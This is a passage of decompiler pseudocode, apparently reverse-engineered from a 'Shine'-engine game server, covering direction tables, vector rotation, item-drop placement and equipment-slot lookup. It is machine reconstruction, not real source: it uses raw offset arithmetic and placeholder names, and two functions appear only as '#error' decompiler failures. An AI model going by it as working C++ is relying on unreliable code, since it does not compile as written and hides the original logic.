( v1 ) { if ( !v4 ) { v6 = 45.0; goto LABEL_11; } v5 = atan2(1.0, (double)x / (double)deg) * 28.64788933333083; } else { v5 = (double)((((signed int)v4 > 0) - 1) & 0x5A); } degree = v5; if ( v5 >= 0.0 ) goto LABEL_12; v6 = v5 + 90.0; LABEL_11: degree = v6; LABEL_12: if ( (v1 & 0x80000000u) != 0 ) degree = degree + 90.0; v7 = (unsigned __int64)(degree + 0.5); for ( dega = v7; v7 >= 180; dega = v7 ) { degree = degree - 180.0; v7 = (unsigned __int64)(degree + 0.5); } if ( v7 < 0 || v7 >= 180 ) { AssertClass::ac_AssertFail(&shineassert, "Invalid ShineRadian1", v7); ShineExit("DirectDistanceTable::ddt_Initialize"); } *((_BYTE *)&this->ddt_Table[0][v4 + 2049 * v1].distance + (_DWORD)((char *)&wholesaver + 7581500)) = v7; if ( v1 || v4 ) { v8 = degree - (double)dega; if ( v8 < 0.0 ) v8 = -v8; if ( v8 < *(&diffarr + v7) ) { *((_QWORD *)&diffarr + v7) = *(_QWORD *)&v8; *(unsigned int *)((char *)&this->ddt_Table[0][v7].distance + (_DWORD)((char *)&wholesaver + 24375104)) = v1; *(unsigned int *)((char *)&this->ddt_Table[0][v7].distance + (_DWORD)((char *)&wholesaver + 24375108)) = v4; } } ++v4; deg = v4; if ( (signed int)v4 > 1024 ) break; v3 = 2049 * v1; v2 = v1 * v1; } ++v1; x = v1; } while ( (signed int)v1 <= 1024 ); k = 0; v9 = (char *)this + (_DWORD)((char *)&wholesaver + 24375108); do { if ( *(&diffarr + k) >= 0.1 ) { AssertClass::ac_AssertFail(&shineassert, "DirectDistanceTable::ddt_Initialize : Too much diff", 0); ShineExit("DirectDistanceTable::ddt_Initialize"); } v10 = *((_DWORD *)v9 - 1); v11 = *(_DWORD *)v9; v12 = (unsigned __int64)sqrt((double)(v11 * v11 + v10 * v10)); v9 += 8; *((_DWORD *)v9 - 3) = (v10 << 10) / (signed int)v12; *((_DWORD *)v9 - 2) = (v11 << 10) / (signed int)v12; v14 = __OFSUB__(k + 1, 180); v13 = k++ - 179 < 0; } while ( v13 ^ v14 ); } //----- (00451930) -------------------------------------------------------- void __thiscall VectorClass::Vector::v_Rotation(VectorClass::Vector *this, int sr) { unsigned int v2; // esi@1 VectorClass::Vector *v3; // edi@1 int v4; // ebx@1 int v5; // ebp@3 int nY; // [sp+10h] [bp-4h]@1 int sra; // [sp+18h] [bp+4h]@3 v2 = sr; v3 = this; v4 = this->v_x; nY = this->v_y; if ( sr < 0 ) v2 = sr + 180 * (-1 - sr) / 0xB4u + 180; sra = this->v_y * ShineRadian::sr_sin1024(&shineradian, v2); v3->v_x = (v4 * ShineRadian::sr_cos1024(&shineradian, v2) - sra) / 1024; v5 = nY * ShineRadian::sr_cos1024(&shineradian, v2); v3->v_y = (v5 + v4 * ShineRadian::sr_sin1024(&shineradian, v2)) / 1024; } //----- (004519E0) -------------------------------------------------------- int __thiscall DirectDistanceTable::ddt_ShineRadianDiff(DirectDistanceTable *this, int mydir, int targetdir, int *sign) { int v4; // esi@2 int *v5; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DirectDistanceTable::ddt_ShineRadianDiff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DirectDistanceTable::ddt_ShineRadianDiff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( targetdir - mydir <= 0 ) { v4 = -(targetdir - mydir); v5 = sign; *sign = -1; } else { v4 = targetdir - mydir; v5 = sign; *sign = 1; } if ( v4 > 90 ) { v4 = 180 - v4; *v5 = -*v5; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DirectDistanceTable::ddt_ShineRadianDiff"); return v4; } //----- (00451A80) -------------------------------------------------------- DirectDistanceTable::DDT_ObjectSide __thiscall DirectDistanceTable::ddt_IsInWhichSide(DirectDistanceTable *this, SHINE_XY_TYPE *myloc, int mydir, SHINE_XY_TYPE *targetloc) { DirectDistanceTable *v4; // esi@1 int v5; // ecx@1 int v6; // eax@5 int v7; // esi@9 DirectDistanceTable::DDT_ObjectSide result; // eax@9 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DirectDistanceTable::ddt_IsInWhichSide"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DirectDistanceTable::ddt_IsInWhichSide"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (unsigned __int8)DirectDistanceTable::ddt_DirectSR(v4, targetloc->x - myloc->x, targetloc->y - myloc->y) - mydir; if ( v5 >= 90 ) v5 += -180 * (v5 + 90) / 0xB4u; if ( v5 < -90 ) v5 += 180 * (-91 - v5) / 0xB4u + 180; v6 = v5; if ( v5 <= 0 ) v6 = -v5; if ( v6 < 5 || v6 > 85 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DirectDistanceTable::ddt_IsInWhichSide"); result = 1; } else { --funcallanalizer.fca_stackpoint; v7 = ((v5 <= 0) - 1) & 2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DirectDistanceTable::ddt_IsInWhichSide"); result = v7; } return result; } //----- (00451BD0) -------------------------------------------------------- char __thiscall FieldMap::fm_IsStreight(void *this, int xA, int yA, int xB, int yB) { void *v5; // ebx@1 char result; // al@2 signed int v7; // kr00_4@3 int v8; // edi@3 bool v9; // bl@7 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_IsStreight"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_IsStreight"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (xA - xB) * (xA - xB) + (yA - yB) * (yA - yB) >= 25 ) { v7 = xB + xA; v8 = (yA + yB) / 2; if ( MapBlock::MapBlockInformation::mbi_IsMoveBlock( *((MapBlock::MapBlockInformation **)v5 + 5), (xB + xA) / 2, (yA + yB) / 2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStreight"); result = 0; } else { v9 = (unsigned __int8)FieldMap::fm_IsStreight(v5, xA, yA, v7 / 2, v8) && (unsigned __int8)FieldMap::fm_IsStreight(v5, v7 / 2, v8, xB, yB); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStreight"); result = v9; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStreight"); result = 1; } return result; } //----- (00451D50) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SHINE_XY_TYPE *_Val) { unsigned int v4; // edx@1 std::vector > *v5; // esi@1 SHINE_XY_TYPE *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 SHINE_XY_TYPE *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 unsigned int _Tmp; // [sp+Ch] [bp-1Ch]@1 unsigned int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+38h] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->y; v5 = this; _Tmp = _Val->x; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), &v5->baseclass_0._Alval, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = v5->_Mylast; v33 = 2; std::vector>::_Ufill( v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (SHINE_XY_TYPE *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, &v5->baseclass_0._Alval, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, _Where, (SHINE_XY_TYPE *)v14, &v5->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, &v5->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( _Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], &v5->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (SHINE_XY_TYPE *)((char *)v14 + _Counta); v5->_Mylast = (SHINE_XY_TYPE *)((char *)v14 + 8 * v18); v5->_Myfirst = (SHINE_XY_TYPE *)v14; } } } //----- (00451FA0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SHINE_XY_TYPE _Val) { SHINE_XY_TYPE *v3; // edx@1 signed int v4; // eax@2 signed int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00452010) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, SHINE_XY_TYPE *_Val) { std::vector > *v2; // esi@1 SHINE_XY_TYPE *v3; // edx@1 signed int v4; // ecx@2 SHINE_XY_TYPE *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00452080) -------------------------------------------------------- #error "452080: undefined or illegal type '#1265' (funcsize=166)" //----- (004522A0) -------------------------------------------------------- #error "4522A0: undefined or illegal type '#1265' (funcsize=195)" //----- (004524F0) -------------------------------------------------------- void __thiscall DropItemAnalyzer::dia_Set(DropItemAnalyzer *this, unsigned __int16 mob, unsigned __int16 itm) { DropItemAnalyzer *v3; // esi@1 signed int v4; // ecx@1 int v5; // edx@1 int v6; // eax@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropItemAnalyzer::dia_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropItemAnalyzer::dia_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v5 = (int)&v3->dia_DropItem[(unsigned __int8)mob][0].num; while ( 1 ) { if ( *(_WORD *)(v5 - 4) == mob && *(_WORD *)(v5 - 2) == itm ) { ++v3->dia_DropItem[0][v4 + 500 * (unsigned __int8)mob].num; goto LABEL_9; } if ( !*(_WORD *)v5 ) break; ++v4; v5 += 6; if ( v4 >= 500 ) goto LABEL_9; } v6 = (int)((char *)v3 + 6 * (v4 + 500 * (unsigned __int8)mob)); *(_WORD *)v6 = mob; *(_WORD *)(v6 + 2) = itm; *(_WORD *)(v6 + 4) = 1; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropItemAnalyzer::dia_Set"); } //----- (004525E0) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::SameDistanceCluster(DropLoc::SameDistanceCluster *this) { this->sdc_Array = 0; } //----- (00452600) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::sdc_shuffle(DropLoc::SameDistanceCluster *this) { DropLoc::SameDistanceCluster *v1; // esi@1 int v2; // ecx@1 DropLoc::LocationDelta *v3; // eax@1 int v4; // edi@1 int v5; // edx@1 DropLoc::LocationDelta *v6; // eax@1 v1 = this; v2 = RandomBox::operator__(&rndbox, this->sdc_Store); v3 = v1->sdc_Array; v4 = v3->dy1024; v5 = v3->dx1024; v3->dx1024 = v3[v2].dx1024; v3->dy1024 = v3[v2].dy1024; v6 = v1->sdc_Array; v6[v2].dx1024 = v5; v6[v2].dy1024 = v4; } //----- (00452640) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::sdc_Init(DropLoc::SameDistanceCluster *this, int number) { DropLoc::SameDistanceCluster *v2; // esi@1 void *v3; // eax@3 int v4; // ecx@3 int v5; // eax@3 v2 = this; if ( this->sdc_Array ) operator delete(this->sdc_Array); v2->sdc_Number = number; v3 = operator new__(8 * number); v4 = v2->sdc_Number; v2->sdc_Array = (DropLoc::LocationDelta *)v3; v5 = 0; if ( v4 > 0 ) { do { v2->sdc_Array[v5].dy1024 = 0; v2->sdc_Array[v5++].dx1024 = 0; } while ( v5 < v2->sdc_Number ); } v2->sdc_Store = 0; } //----- (00452690) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::sdc_Setsixpoint(DropLoc::SameDistanceCluster *this, int x1024, int y1024) { DropLoc::SameDistanceCluster *v3; // esi@1 int v4; // edi@1 int v5; // eax@2 int v6; // ebx@2 int v7; // eax@2 int v8; // ebx@2 int v9; // eax@2 int v10; // ST18_4@2 int v11; // eax@2 int v12; // ebp@2 v3 = this; v4 = 0; do { v5 = ShineRadian::sr_degree2sr(&shineradian, v4); v6 = x1024 * ShineRadian::sr_cos1024(&shineradian, v5) / 1024; v7 = ShineRadian::sr_degree2sr(&shineradian, v4); v8 = y1024 * ShineRadian::sr_sin1024(&shineradian, v7) / 1024 + v6; v9 = ShineRadian::sr_degree2sr(&shineradian, v4); v10 = x1024 * ShineRadian::sr_sin1024(&shineradian, v9) / 1024; v11 = ShineRadian::sr_degree2sr(&shineradian, v4); v12 = y1024 * ShineRadian::sr_cos1024(&shineradian, v11) / 1024 - v10; if ( v3->sdc_Store >= v3->sdc_Number ) { AssertClass::ac_AssertFail( &shineassert, "DropLoc::SameDistanceCluster::sdc_Setdelta : Buffer overflow", v3->sdc_Store); ShineExit("DropLoc::SameDistanceCluster::sdc_Setdelta"); } v3->sdc_Array[v3->sdc_Store].dx1024 = v8; v3->sdc_Array[v3->sdc_Store].dy1024 = v12; v4 += 60; ++v3->sdc_Store; } while ( v4 < 360 ); } //----- (004527B0) -------------------------------------------------------- char __thiscall DropLoc::SameDistanceCluster::sdc_Getdelta(DropLoc::SameDistanceCluster *this, int sub, SHINE_XY_TYPE *loc, int scale) { char result; // al@2 DropLoc::LocationDelta *v5; // esi@3 int v6; // eax@3 unsigned int v7; // ecx@3 unsigned int v8; // eax@5 if ( sub < this->sdc_Store ) { v5 = &this->sdc_Array[sub]; v6 = scale * v5->dy1024 / 1024; v7 = loc->x + scale * v5->dx1024 / 1024; if ( v7 ) loc->x = v7; v8 = loc->y + v6; if ( v8 ) loc->y = v8; result = 1; } else { AssertClass::ac_AssertFail(&shineassert, "DropLoc::SameDistanceCluster::sdc_Getdelta", sub); result = 0; } return result; } //----- (00452830) -------------------------------------------------------- void __thiscall DropLocationManager::DropLocationManager(DropLocationManager *this) { _eh_vector_constructor_iterator_( this, 0xCu, 32, (void (__thiscall *)(void *))DropLoc::SameDistanceCluster::SameDistanceCluster, (void (__thiscall *)(void *))DropLoc::SameDistanceCluster::_SameDistanceCluster); } //----- (00452850) -------------------------------------------------------- void __thiscall DropLocationManager::_DropLocationManager(DropLocationManager *this) { _eh_vector_destructor_iterator_( this, 0xCu, 32, (void (__thiscall *)(void *))DropLoc::SameDistanceCluster::_SameDistanceCluster); } //----- (00452860) -------------------------------------------------------- void __thiscall DropLocationManager::dlm_Load(DropLocationManager *this) { DropLocationManager *v1; // ebx@1 signed int v2; // ebp@4 int v3; // esi@4 void *v4; // eax@7 int v5; // edx@7 int v6; // eax@7 int v7; // esi@10 int v8; // edi@11 void *v9; // eax@13 int v10; // ecx@13 int v11; // eax@13 signed int v12; // edx@15 int v13; // ebp@15 int v14; // ebx@15 signed int i; // [sp+10h] [bp-14h]@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropLocationManager::dlm_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropLocationManager::dlm_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; DropLoc::SameDistanceCluster::sdc_Init(v1->dlm_array, 1); if ( v1->dlm_array[0].sdc_Store >= v1->dlm_array[0].sdc_Number ) { AssertClass::ac_AssertFail( &shineassert, "DropLoc::SameDistanceCluster::sdc_Setdelta : Buffer overflow", v1->dlm_array[0].sdc_Store); ShineExit("DropLoc::SameDistanceCluster::sdc_Setdelta"); } v1->dlm_array[0].sdc_Array[v1->dlm_array[0].sdc_Store].dx1024 = 0; v1->dlm_array[0].sdc_Array[v1->dlm_array[0].sdc_Store++].dy1024 = 0; v2 = 1; v3 = (int)&v1->dlm_array[1]; do { if ( *(_DWORD *)(v3 + 8) ) operator delete(*(void **)(v3 + 8)); *(_DWORD *)v3 = 6; v4 = operator new__(0x30u); v5 = *(_DWORD *)v3; *(_DWORD *)(v3 + 8) = v4; v6 = 0; if ( v5 > 0 ) { do { *(_DWORD *)(*(_DWORD *)(v3 + 8) + 8 * v6 + 4) = 0; *(_DWORD *)(*(_DWORD *)(v3 + 8) + 8 * v6++) = 0; } while ( v6 < *(_DWORD *)v3 ); } *(_DWORD *)(v3 + 4) = 0; DropLoc::SameDistanceCluster::sdc_Setsixpoint((DropLoc::SameDistanceCluster *)v3, (v2 + 1) / 2 << 10, 0); v2 += 2; v3 += 24; } while ( (unsigned int)v2 < 0x20 ); i = 2; v7 = (int)&v1->dlm_array[2]; do { v8 = i / 2; if ( *(_DWORD *)(v7 + 8) ) operator delete(*(void **)(v7 + 8)); *(_DWORD *)v7 = 6 * i / 2; v9 = operator new__(48 * v8); v10 = *(_DWORD *)v7; *(_DWORD *)(v7 + 8) = v9; v11 = 0; if ( v10 > 0 ) { do { *(_DWORD *)(*(_DWORD *)(v7 + 8) + 8 * v11 + 4) = 0; *(_DWORD *)(*(_DWORD *)(v7 + 8) + 8 * v11++) = 0; } while ( v11 < *(_DWORD *)v7 ); } *(_DWORD *)(v7 + 4) = 0; v12 = (signed int)((unsigned __int64)(29906716285952i64 * (v8 + 1)) >> 32) >> 3; v13 = (1024 - (v8 << 10)) / 2; v14 = v12 + ((unsigned int)v12 >> 31); if ( v8 > 0 ) { do { DropLoc::SameDistanceCluster::sdc_Setsixpoint((DropLoc::SameDistanceCluster *)v7, v13, v14); v13 += 1024; --v8; } while ( v8 ); } v7 += 24; i += 2; } while ( (unsigned int)i < 0x20 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_Load"); } //----- (00452A80) -------------------------------------------------------- void __thiscall DropLocationManager::dlm_home(DropLocationManager *this, int startcluster) { DropLocationManager *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropLocationManager::dlm_home"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropLocationManager::dlm_home"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->dlm_index.cluster = startcluster; v2->dlm_index.subscript = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_home"); } //----- (00452AF0) -------------------------------------------------------- char __thiscall DropLocationManager::dlm_next(DropLocationManager *this) { DropLocationManager *v1; // esi@1 int v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 int v5; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropLocationManager::dlm_next"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropLocationManager::dlm_next"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->dlm_index.subscript + 1; v1->dlm_index.subscript = v2; v3 = v2; v4 = v1->dlm_index.cluster; if ( v3 < v1->dlm_array[v4].sdc_Store ) goto LABEL_4; v5 = v4 + 1; v1->dlm_index.subscript = 0; v1->dlm_index.cluster = v5; if ( (unsigned int)v5 < 0x20 ) { DropLoc::SameDistanceCluster::sdc_shuffle((DropLoc::SameDistanceCluster *)v1 + v5); LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_next"); return 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_next"); return 0; } //----- (00452BF0) -------------------------------------------------------- char __thiscall DuplicatedMenuControl::dmc_CanMenuOpen(DuplicatedMenuControl *this, unsigned __int16 menu) { DuplicatedMenuControl *v2; // esi@1 int v3; // esi@1 int v4; // ecx@1 signed int v5; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DuplicatedMenuControl::dmc_CanMenuOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DuplicatedMenuControl::dmc_CanMenuOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->dmc_Control; v4 = 0; v5 = 0; while ( (v3 & (1 << v4)) <= 0 || *(&DuplicatedMenuControl::dmc_Table[menu] + v5) ) { v5 += 7; ++v4; if ( v5 >= 49 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DuplicatedMenuControl::dmc_CanMenuOpen"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DuplicatedMenuControl::dmc_CanMenuOpen"); return 0; } //----- (00452CE0) -------------------------------------------------------- char __thiscall EquipEnumChanger::eec_Next(EquipEnumChanger *this, int *finger) { EquipEnumChanger *v2; // esi@1 int v3; // eax@2 bool v4; // sf@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EquipEnumChanger::eec_Next"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EquipEnumChanger::eec_Next"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; while ( 1 ) { v3 = *finger + 1; v4 = *finger - 28 < 0; *finger = v3; if ( !(v4 ^ __OFSUB__(v3, 29)) ) break; if ( v2->eec_Column[v3] != (char *)-1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EquipEnumChanger::eec_Next"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EquipEnumChanger::eec_Next"); return 0; } //----- (00452DB0) -------------------------------------------------------- char *__thiscall EquipEnumChanger::eec_GetColumn(EquipEnumChanger *this, int *finger, ItemEquipEnum *equip) { EquipEnumChanger *v3; // esi@1 int v4; // eax@1 char *v5; // esi@3 char *result; // eax@3 char *v7; // esi@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EquipEnumChanger::eec_GetColumn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EquipEnumChanger::eec_GetColumn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *finger; if ( *finger < 0 || v4 >= 29 ) { *equip = 0; v7 = v3->eec_Column[0]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EquipEnumChanger::eec_GetColumn"); result = v7; } else { *equip = v4; v5 = v3->eec_Column[*finger]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EquipEnumChanger::eec_GetColumn"); result = v5; } return result; } //----- (00452E90) -------------------------------------------------------- ItemEquipEnum __thiscall EquipEnumChanger::eec_EquipLocation(EquipEnumChanger *this, ItemInfoServer *iis, ItemBag *equipment) { EquipEnumChanger *v3; // edi@1 signed int v4; // ebp@1 ISEType v5; // ST04_4@1 ItemServerEquipTypeInfo *v6; // ebx@1 ItemEquipEnum result; // eax@2 ItemEquipEnum v8; // esi@3 ItemBag *v9; // ebp@4 int slot; // [sp+10h] [bp-14h]@3 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "EquipEnumChanger::eec_EquipLocation"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EquipEnumChanger::eec_EquipLocation"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EquipEnumChanger::eec_EquipLocation"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = iis->ISET_Index; v12 = 0; v6 = ItemEquipTable::iet_GetArray(&g_ItemEquipTable, v5); if ( v6 ) { slot = 0; v8 = 0; iis = (ItemInfoServer *)-1; if ( EquipEnumChanger::eec_Next(v3, (int *)&iis) ) { v9 = equipment; while ( 1 ) { if ( *((_BYTE *)&v6->ISET_Index + (_DWORD)EquipEnumChanger::eec_GetColumn(v3, (int *)&iis, (ItemEquipEnum *)&slot)) == 1 ) { v8 = slot; if ( *(_WORD *)((int)v9->vfptr->ib_GetInventoryCell(v9, slot) + 8) == -1 ) break; } if ( !EquipEnumChanger::eec_Next(v3, (int *)&iis) ) { v4 = -1; goto LABEL_9; } } v12 = -1; } else { LABEL_9: v12 = v4; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EquipEnumChanger::eec_EquipLocation"); result = v8; } else { --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EquipEnumChanger::eec_EquipLocation"); result = 0; } return result; } //----- (00452FD0) -------------------------------------------------------- void __thiscall EquipEnumChanger::eec_ConflictWithNewEquip(EquipEnumChanger *this, ItemInfoServer *iis, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, InventoryLocking::InventoryCellLockList *lock) { EquipEnumChanger *v6; // ebp@1 signed int v7; // esi@1 ISEType v8; // ST04_4@1 void *v9; // edi@1 int *v10; // esi@3 